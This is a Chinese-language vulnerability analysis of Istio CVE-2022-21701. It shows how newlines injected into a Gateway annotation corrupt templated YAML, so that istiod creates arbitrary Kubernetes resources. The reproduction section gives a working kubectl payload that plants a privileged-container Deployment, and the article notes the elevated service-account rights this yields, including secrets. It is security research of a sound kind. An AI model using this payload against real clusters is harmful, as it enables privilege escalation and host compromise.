作者:lazydog@360高級攻防實驗室
原文鏈接:http://noahblog.#/go-template-meets-yaml-cve-2022-21701/

前言

本文對 CVE-2022-21701 istio 提權漏洞進行分析,介紹 go template 遇到 yaml 反序列化兩者相結合時造成的漏洞,類似于 “模版注入” 但不是單一利用了模版解析引擎特性,而是結合 yaml 解析后造成了“變量覆蓋”,最后使 istiod gateway controller 創建非預期的 k8s 資源。

k8s validation

在對漏洞根因展開分析前,我們先介紹 k8s 如何對各類資源中的屬性進行有效性的驗證。

首先是常見的 k8s 資源,如 Pod 它使用了 apimachinery 提供的 validation 的功能,其中最常見的 pod name 就使用遵守 DNS RFC 1123 及 DNS RFC 1035 驗證 label 的實現,其他一些值會由在 controller 中實現 validation 來驗證,這樣的好處是可以幫助我們避免一部分的 bug 甚至是一些安全漏洞。

const dns1123LabelFmt string = "[a-z0-9]([-a-z0-9]*[a-z0-9])?"
const DNS1123LabelMaxLength int = 63

var dns1123LabelRegexp = regexp.MustCompile("^" + dns1123LabelFmt + "$")

func IsDNS1123Label(value string) []string {
    var errs []string
    if len(value) > DNS1123LabelMaxLength {
        errs = append(errs, MaxLenError(DNS1123LabelMaxLength))
    }
    if !dns1123LabelRegexp.MatchString(value) {
        errs = append(errs, RegexError(dns1123LabelErrMsg, dns1123LabelFmt, "my-name", "123-abc"))
    }
    return errs
}

k8s 還提供了 CRD (Custom Resource Definition) 自定義資源來方便擴展 k8s apiserver, 這部分也可以使用 OpenAPI schema 來規定資源中輸入輸出數據類型及各種約束限制,除此之外還提供了 x-kubernetes-validations 的功能,用戶可以使用 CEL 擴展這部分的約束限制。

下面的 yaml 就描述了定時任務創建 Pod 的 CRD,使用正則驗證了 Cron 表達式

apiVersion: apiextensions.k8s.io/v1
kind: CustomResourceDefinition
metadata:
  name: crontabs.stable.example.com
spec:
  group: stable.example.com
  versions:
    - name: v1
      served: true
      storage: true
      schema:
        # openAPIV3Schema is the schema for validating custom objects.
        openAPIV3Schema:
          type: object
          properties:
            spec:
              type: object
              properties:
                cronSpec:
                  type: string
                  pattern: '^(\d+|\*)(/\d+)?(\s+(\d+|\*)(/\d+)?){4}$'
                image:
                  type: string
                replicas:
                  type: integer
                  minimum: 1
                  maximum: 10
  scope: Namespaced
  names:
    plural: crontabs
    singular: crontab
    kind: CronTab
    shortNames:
    - ct

另外還有一類值是無法(不方便)驗證的,各個資源的注解字段 annotations 及 labels,注解會被各 controller 或 webhook 動態的去添加。

根因分析

istio gateway controller 使用 informer 機制 watch 對應資源 GVR 的 k8s apiserver 的端點,在資源變更時做出相應的動作,而當用戶提交 kind 為 Gateway 的資源時,istio gateway controller 會對Gateway資源進行解析處理并轉化為 ServiceDepolyment 兩種資源,再通過 client-go 提交兩種資源至 k8s apiserver.

func (d *DeploymentController) configureIstioGateway(log *istiolog.Scope, gw gateway.Gateway) error {
    if !isManaged(&gw.Spec) {
        log.Debug("skip unmanaged gateway")
        return nil
    }
    log.Info("reconciling")

    svc := serviceInput{Gateway: gw, Ports: extractServicePorts(gw)}
    if err := d.ApplyTemplate("service.yaml", svc); err != nil {
        return fmt.Errorf("update service: %v", err)
    }
...
}

分析service.yaml模版內容,發現了在位于最后一行的 type 取值來自于 Annotations ,上文也介紹到了 k8s apiserver 會做 validation 的操作,istio gateway crd 也同樣做了校驗,但Annotations這部分不會進行檢查,就可以利用不進行檢查這一點注入一些奇怪的字符。

apiVersion: v1
kind: Service
metadata:
  annotations:
    {{ toYamlMap .Annotations | nindent 4 }}
  labels:
    {{ toYamlMap .Labels
      (strdict "gateway.istio.io/managed" "istio.io-gateway-controller")
      | nindent 4}}
  name: {{.Name}}
  namespace: {{.Namespace}}
...
spec:
...
  {{- if .Spec.Addresses }}
  loadBalancerIP: {{ (index .Spec.Addresses 0).Value}}
  {{- end }}
  type: {{ index .Annotations "networking.istio.io/service-type" | default "LoadBalancer" }}

眾所周知 go template 是可以自行帶 \n ,如果在 networking.istio.io/service-type注解中加入 \n就可以控制 yaml 文件,接著我們用單測文件進行 debug 測試驗證猜想。

pilot/pkg/config/kube/gateway/deploymentcontroller_test.go中對注解進行修改,加入\n注入apiVersionkind

configureIstioGateway處下斷,跟進到 ApplyTemplate步入直接看模版的渲染結果,經過渲染后的模版,可以發現在注解中注入的\n模版經過渲染后對yaml文件結構已經造成了“破壞”,因為眾所周知的yaml使用縮進來控制數據結構。

繼續往下跟進,當yaml.Unmarshal進行反序列化后,可以觀察到 kind已經被改為 Pod,說明可以進行覆蓋,再往下跟進觀察到最后反序列化后的數據由 patcher 進行提交,而 patcher的實現使用了 client-go 中的 Dynamic 接口,該接口會按照傳入的 GVR使用client.makeURLSegments函數生成訪問的端點,又由于我們此前的操作覆蓋了 yaml 文件中的GVK 所以其對應的GVR也跟著變動。

# before inject LF
GVK:              |
apiVersion: v1    |
kind: Service     |
GVR:              |
/api/v1/services  |
------------------
       ||
       ︾
# after inject LF
GVK:             |
apiVersion: v1   |
kind: Pod        |
GVR:             |
/api/v1/pods     |
-----------------

patcher 實現如下

patcher: func(gvr schema.GroupVersionResource, name string, namespace string, data []byte, subresources ...string) error {
    c := client.Dynamic().Resource(gvr).Namespace(namespace)
    t := true
    _, err := c.Patch(context.Background(), name, types.ApplyPatchType, data, metav1.PatchOptions{
        Force:        &t,
        FieldManager: ControllerName,
    }, subresources...)
    return err
}
func (c *dynamicResourceClient) Patch(ctx context.Context, name string, pt types.PatchType, data []byte, opts metav1.PatchOptions, subresources ...string) (*unstructured.Unstructured, error) {
    if len(name) == 0 {
        return nil, fmt.Errorf("name is required")
    }
    result := c.client.client.
        Patch(pt).
        AbsPath(append(c.makeURLSegments(name), subresources...)...).
        Body(data).
        SpecificallyVersionedParams(&opts, dynamicParameterCodec, versionV1).
        Do(ctx)
...
}

漏洞復現

整理漏洞利用的思路

  1. 具備創建 Gateway 資源的權限

  2. 在注解 networking.istio.io/service-type中注入其他資源的 yaml

  3. 提交惡意 yaml 等待 controller 創建完資源,漏洞利用完成

初始化環境,并創建相應的 clusterrole 和 binding

curl -L https://istio.io/downloadIstio | ISTIO_VERSION=1.12.0 TARGET_ARCH=x86_64 sh -
istioctl x precheck
istioctl install --set profile=demo -y
kubectl create namespace istio-ingress
kubectl create -f - << EOF
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: gateways-only-create
rules:
- apiGroups: ["gateway.networking.k8s.io"]
  resources: ["gateways"]
  verbs: ["create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: test-gateways-only-create
subjects:
- kind: User
  name: test
  apiGroup: rbac.authorization.k8s.io
roleRef:
  kind: ClusterRole
  name: gateways-only-create
  apiGroup: rbac.authorization.k8s.io
EOF

kubectl get crd gateways.gateway.networking.k8s.io || { kubectl kustomize "github.com/kubernetes-sigs/gateway-api/config/crd?ref=v0.4.0" | kubectl apply -f -; }

構造并創建帶有惡意 payload 注解yaml文件,這里在注解中注入了可創建特權容器的 Deployment

kubectl --as test create -f - << EOF
apiVersion: gateway.networking.k8s.io/v1alpha2
kind: Gateway
metadata:
  name: gateway
  namespace: istio-ingress
  annotations:
    networking.istio.io/service-type: |-
      "LoadBalancer"
      apiVersion: apps/v1
      kind: Deployment
      metadata:
        name: pwned-deployment
        namespace: istio-ingress
      spec:
        selector:
          matchLabels:
            app: nginx
        replicas: 1
        template:
          metadata:
            labels:
              app: nginx
          spec:
            containers:
            - name: nginx
              image: nginx:1.14.3
              ports:
              - containerPort: 80
              securityContext:
                privileged: true
spec:
  gatewayClassName: istio
  listeners:
  - name: default
    hostname: "*.example.com"
    port: 80
    protocol: HTTP
    allowedRoutes:
      namespaces:
        from: All
EOF

完成攻擊,創建了惡意的 pod

溢出了哪些權限

根據 gateway controller 使用的 istiod 的 serviceaccount,去列具備哪些權限。

kubectl --token="istiod sa token here" auth can-i --list

根據上圖,可以發現溢出了的權限還是非常大的,其中就包含了 secrets 還有上文利用的 deployments 權限,涵蓋至少 istiod-clusterrole-istio-systemistiod-gateway-controller-istio-system 兩個 ClusterRole 權限。

總結

審計這類 controller 時也可以關注下不同 lexer scan/parser 的差異,說不定會有意外收獲。

參考

Extend the Kubernetes API with CustomResourceDefinitions

Patch commit


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1882/